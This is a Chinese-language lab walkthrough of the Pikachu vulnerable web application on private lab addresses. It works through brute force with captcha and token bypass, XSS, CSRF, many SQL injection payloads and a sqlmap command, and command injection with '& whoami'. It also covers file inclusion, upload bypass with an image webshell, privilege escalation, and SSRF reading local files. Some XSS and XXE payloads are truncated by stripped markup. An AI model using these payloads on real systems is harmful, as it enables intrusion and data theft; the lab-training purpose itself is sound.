看到登录表单,先随便输入用Burpsuite抓包试试
看到数据包中账号密码
试试进行暴力破解
把数据包大送到intruder模块,选择Cluster bomb
分别选择账号和密码的爆破字典
开始爆破
发现账号admin 密码123456返回长度和其它都不一样
试着登录,登录成功
还是先抓包
先发送到repeater,看一下回显
验证码不正确会显示验证码不正确
当把验证码去掉后显示验证码不能为空,证明是后端验证
当输入正确验证码,不正确账号密码时,会显示账号或密码不存在
再次换账号密码提交发现,验证码还可用
得知验证码不具有有效期,只要不更换图片都一直可用
直接固定验证码进行暴力破解账号和密码
发送到intruder模块
选择字典后进行爆破
破解成功
还是输入抓包
发现弹窗显示验证码错误,没有发送数据包,证明是前端验证
输入正确验证码进行抓包
成功抓包
发送到repeater模块看看回显
发现每次提交之后验证码就换了,但是不影响我们提交,因为是前端验证,抓包已经绕过
发送到intruder模块暴力破解
破解成功
还是先抓包
发送到repeater模块看回显
改一下token再看回显
发现token不正确,数据包无效
再次提交看回显
发现再次提交token已经无效,每次提交都会更换token
页面检查发现一个hidden属性的input,里面记录着token
发现token值发送到了前端中,可以被获取
将数据包发送到intruder模块进行爆破
选择pitchfork类型
将用户名,密码,token都设置为变量
找到options中的Grep-Extract模块
点击添加add,找到token值
在options中找到Redirections选择Always
设置线程为1
然后第一个参数和第二个参数分别导入账号和密码的字典
第三个参数选择Recursive grep,选择刚才筛选的Recursive grep,然后填入抓包时的token
开始爆破
爆破成功
先随便输入看看回显
查看源代码发现我们输入的直接输出到
标签中
输入弹窗代码看是否存在xss
发现输入框限制长度,修改前端代码修改限制长度
也可以直接修改url中参数
先抓包
发送到repeater模块
爆破获得账号admin密码123456
登录
先随便输入看输出
发现没经过滤直接将输入输出到
标签内
输入框输入弹窗代码,也可以通过抓包修改
每次弹完窗之后就不在出现弹窗,所以代码没有储存到服务端,不是存储型
随便输入看看回显
发现输入直接被输出到
标签内
输入弹窗代码
每次进入页面都会弹窗,因为代码被储存到了服务器上,为存储型XSS
先输入看回显
查看源代码
要闭合<a herf> 标签
和DOM型XSS一样,只不过这个是存储型的DOM型XSS
后台地址 http://ip/pikachu/vul/xss/xssblind/admin_login.php
先输入查看回显
查看源码,发现是将输入经过过滤输出到
标签中
发现 被过滤
可以构造其它代码弹窗
随便输入查看回显
查看源代码
发现双引号、都被编码转义
可以通过为协议javascript触发
先随便输入看回显
查看源代码
发现只要闭合a herf就可以
发现双引号被转义
可以直接通过javascript伪协议绕过
先乱输入查看回显
查看源代码
没有思路查看提示
输入tmac
查看源代码
输入被放在JS内了,所以我们要闭合javascript
抓包
192.168.48.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
现在直接通过访问链接更换性别
192.168.48.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
访问后
还是先抓包
改回boy
token被发送到了前端源码中,可以凑够源码中获取到
和之前的暴力破解单元中token防爆破利用方式相同
抓包
发送到repeater模块
and 1=1 回显正常
and 1=2 回显错误
说明存在注入
查询字段数
order by 2回显正常,order by 3报错,证明有两个字段
查询回显位
id=1 union select 1,2
查询数据库、用户
id=1 and 1=2 union select database(),user()
查询数据库版本和操作系统
id=1 and 1=2 union select version(),@@version_compile_os
查询表名
id=1 and 1=2 union select 1,concat(table_name) from information_schema.tables where table_schema = 'pikachu'
查询列名
id=1 and 1=2 union select 1,concat(column_name) from information_schema.columns where table_schema = 'pikachu'and table_name='users'
查询数据
id=1 and 1=2 union select username,password from users
输入一个正常用户名回显正常
and 1=1回显不正常,证明可能存在字符型注入
' and 1=1 --+ 回显正常
' and 1=2 --+ 回显错误
说明存在字符型注入,用单引号闭合
接下来的步骤和上一关数字型注入一样
搜索型注入只是比字符型注入多了%闭合,接下来的步骤都是一样的
XX型注入只是闭合的符号是'),接下来的步骤都一样
加上单引号证明报错存在注入
利用报错注入
updatexml(xml_document,xpath_string,new_value)
xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
phonenum=18626545453' and UpdateXML(1,concat(0x7e,payload),0) --+
phonenum=18626545453' and UpdateXML(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) --+
查询步骤和之前的都一样,将查询语句带入替换语句中的payload即可
删除进行抓包
发送到Repeater模块
加单引号报错说明存在注入
id=62+and+UpdateXML(1,concat(0x7e,payload),0)
id=62+and+UpdateXML(1,concat(0x7e,database()),0)
之后的步骤和之前的注入一样
登录查看回显
抓包查看
在user-agent后加单引号,报错说明存在注入
' and UpdateXML(1,concat(0x7e,payload),0) and'
' and UpdateXML(1,concat(0x7e,database()),0) and'
加单引号查询报错,说明存在注入
查询字段数为2
这里盲注靶场做的不严谨,和之前有会显的注入用的是一个页面,有回显
我们假设这里不能够回显,进行盲注
name=vince' and length(database())=7 --+
name=vince' and ascii(substr(database(),1,1))=112 --+
证明存在布尔盲注
接下来上工具爆破,sqlmap、burpsuite都可以,也可以是自己写的工具
我这里用sqlmap
python sqlmap.py -u 'http://192.168.48.131/pikachu/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=vince' --dbms=mysql --batch --level=5
--tables爆表名
--columns爆列名
--dump爆数据
先测试是否存在时间盲注
name=vince' and sleep(5) --+
出现长时间延迟说明存在时间盲注
存在时间盲注
name=vince' and if(length(database())=7,sleep(5),1) --+
name=vince' and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+
正确则发生延迟,错误则不延迟
接下来用工具sqlmap,和之前布尔盲注的用法一样,这里就不展示了
进行抓包
发送到repeater模块
name=vince %df' union select 1,2 --+
存在宽字节注入
接下来的步骤和之前一样
我们可以尝试通过 &、&&、|、||、; 等符号拼接执行的命令
利用&同时执行其它命令
www.baidu.com & whoami
后台使用了eval,并且没有做过滤,可以执行任意命令
phpinfo();
http://192.168.48.131/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
看到包含引用的文件名在url中直接传值
试着把文件名换成一些其它本地文件
?filename=../../../index.php
提示远程包含没有开启,修改php.ini开启
将off改为On,然后重启服务
将包含参数改为远程文件
?filename=http://192.168.48.131/pikachu/index.php
实战中可以直接包含远程木马文件
进行抓包
将文件名改为其它文件试试
下载成功
先上传正常图片文件
上传成功
接下来试试上传可执行文件
发现有弹窗,证明存在前端验证
抓包绕过前端验证
将可执行文件后缀名改为jpg
上传时抓包再改回可执行文件
上传成功
抓包将Content-Type改为允许的图片类型
上传成功
上传可执行文件,将content-type改为图片
显示后缀名为空,说明服务器将不为规定的三种图片后缀的后缀名都过滤删除了
将后缀名改为jpeg
显示上传的是假图片,说明对文件内容进行了检测
在文件中加上图片文件头
发现还是被检测出来,说明不光对文件内容头进行了检测
上传图片马试试
上传成功
先用一个普通用户登录试试
查看个人信息
抓包
将用户名改为其它用户的用户名试试
可以查看别人的信息
用pikachu登录
添加用户,抓包,发送到repeater模块
然后将刚才的抓到的包放出去
添加用户成功
接下来退出登录
repeater再次发送添加用户的数据包
添加用户失败,因为需要登录
用普通用户pikachu登录
将cookie换成普通用户的,再次repeater发送添加用户数据包
用户创建成功
http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=jarheads.php
http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=truman.php
将title改为通过../改为其它目录下文件,发现可以读出文件
http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=../../../README.md
打开网页查看源代码发现有测试账号泄露
构造php序列化payload
O:1:'S':1:{s:4:'test';s:29:'';}
构造xxe payload
]>
&xxe;
第一个链接和第二个链接都是和当前页面一样
第三个链接是概述
第四个链接
http://192.168.48.131/pikachu/vul/urlredirect/urlredirect.php?url=i
试着将url改成其它链接试试
192.168.48.131/pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com/
跳转到百度
点击链接
http://192.168.48.131/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
试着把url请求的文件链接改为其它
探测端口开放
http://192.168.48.131/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
http://192.168.48.131/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
file_get_content 可以对本地和远程的文件进行读取
http://192.168.48.131/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini
联系客服